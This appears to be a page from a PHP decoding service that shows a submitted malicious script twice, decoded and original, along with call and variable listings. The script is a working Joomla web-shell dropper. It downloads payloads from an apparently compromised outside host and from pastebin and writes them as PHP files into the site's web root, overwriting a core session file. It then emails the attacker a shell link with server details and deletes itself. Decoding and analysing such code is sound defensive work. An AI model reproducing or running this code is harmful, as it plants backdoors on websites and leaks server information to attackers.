Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function http_get($url){ $im = curl_init($url); curl_setopt($im, CURLOPT_RETURN..

Decoded Output download

<?php 
function http_get($url){ 
	$im = curl_init($url); 
	curl_setopt($im, CURLOPT_RETURNTRANSFER, 1); 
	curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10); 
	curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1); 
	curl_setopt($im, CURLOPT_HEADER, 0); 
	return curl_exec($im); 
	curl_close($im); 
} 
$check = $_SERVER['DOCUMENT_ROOT'] . "/media/css.php" ; 
$text = http_get('http://mrtg.ui.phinma.edu.ph/components/joomla.txt'); 
$open = fopen($check, 'w'); 
fwrite($open, $text); 
fclose($open); 
if(file_exists($check)){ 
    echo $check."</br>"; 
}else  
  echo "not exits"; 
echo "done .
 " ; 
$check2 = $_SERVER['DOCUMENT_ROOT'] . "/media/jmail.php" ; 
$text2 = http_get('http://mrtg.ui.phinma.edu.ph/components/jmailz.txt'); 
$open2 = fopen($check2, 'w'); 
fwrite($open2, $text2); 
fclose($open2); 
if(file_exists($check2)){ 
    echo $check2."</br>"; 
}else  
  echo "not exits2"; 
echo "done2 .
 " ; 
 
$check3=$_SERVER['DOCUMENT_ROOT'] . "/H.htm" ; 
$text3 = http_get(''); 
$op3=fopen($check3, 'w'); 
fwrite($op3,$text3); 
fclose($op3); 
 
$check4=$_SERVER['DOCUMENT_ROOT'] . "/media/check.php" ; 
$text4 = http_get('http://mrtg.ui.phinma.edu.ph/components/qq.txt'); 
$op4=fopen($check4, 'w'); 
fwrite($op4,$text4); 
fclose($op4); 
 
$check5=$_SERVER['DOCUMENT_ROOT'] . "//media/jmails.php" ; 
$text5 = http_get('http://mrtg.ui.phinma.edu.ph/components/qqz.txt'); 
$op5=fopen($check5, 'w'); 
fwrite($op5,$text5); 
fclose($op5); 
 
$check6=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/session/session.php" ; 
$text6 = http_get('http://pastebin.com/raw/UHAGT887'); 
$op6=fopen($check6, 'w'); 
fwrite($op6,$text6); 
fclose($op6); 
 
$toz = ""; 
$subject = 'Jom zzz ' . $_SERVER['SERVER_NAME']; 
$header = 'from: Kekkai Sensen <[email protected]>' . "
"; 
$message = "Shellz : http://" . $_SERVER['SERVER_NAME'] . "/libraries/joomla/jmail.php?u" . "
" . php_uname() . "
"; 
$sentmail = @mail($toz, $subject, $message, $header); 
 
@unlink(__FILE__); 
 
 
?>

Did this file decode correctly?

Original Code

<?php
function http_get($url){
	$im = curl_init($url);
	curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
	curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($im, CURLOPT_HEADER, 0);
	return curl_exec($im);
	curl_close($im);
}
$check = $_SERVER['DOCUMENT_ROOT'] . "/media/css.php" ;
$text = http_get('http://mrtg.ui.phinma.edu.ph/components/joomla.txt');
$open = fopen($check, 'w');
fwrite($open, $text);
fclose($open);
if(file_exists($check)){
    echo $check."</br>";
}else 
  echo "not exits";
echo "done .\n " ;
$check2 = $_SERVER['DOCUMENT_ROOT'] . "/media/jmail.php" ;
$text2 = http_get('http://mrtg.ui.phinma.edu.ph/components/jmailz.txt');
$open2 = fopen($check2, 'w');
fwrite($open2, $text2);
fclose($open2);
if(file_exists($check2)){
    echo $check2."</br>";
}else 
  echo "not exits2";
echo "done2 .\n " ;

$check3=$_SERVER['DOCUMENT_ROOT'] . "/H.htm" ;
$text3 = http_get('');
$op3=fopen($check3, 'w');
fwrite($op3,$text3);
fclose($op3);

$check4=$_SERVER['DOCUMENT_ROOT'] . "/media/check.php" ;
$text4 = http_get('http://mrtg.ui.phinma.edu.ph/components/qq.txt');
$op4=fopen($check4, 'w');
fwrite($op4,$text4);
fclose($op4);

$check5=$_SERVER['DOCUMENT_ROOT'] . "//media/jmails.php" ;
$text5 = http_get('http://mrtg.ui.phinma.edu.ph/components/qqz.txt');
$op5=fopen($check5, 'w');
fwrite($op5,$text5);
fclose($op5);

$check6=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/session/session.php" ;
$text6 = http_get('http://pastebin.com/raw/UHAGT887');
$op6=fopen($check6, 'w');
fwrite($op6,$text6);
fclose($op6);

$toz = "";
$subject = 'Jom zzz ' . $_SERVER['SERVER_NAME'];
$header = 'from: Kekkai Sensen <[email protected]>' . "\r\n";
$message = "Shellz : http://" . $_SERVER['SERVER_NAME'] . "/libraries/joomla/jmail.php?u" . "\r\n" . php_uname() . "\r\n";
$sentmail = @mail($toz, $subject, $message, $header);

@unlink(__FILE__);


?>

Function Calls

http_get 1
curl_init 1

Variables

$url http://mrtg.ui.phinma.edu.ph/components/joomla.txt
$check None/media/css.php

Stats

MD5 d780bdc603cf68a75948c6cf17e0248f
Eval Count 0
Decode Time 87 ms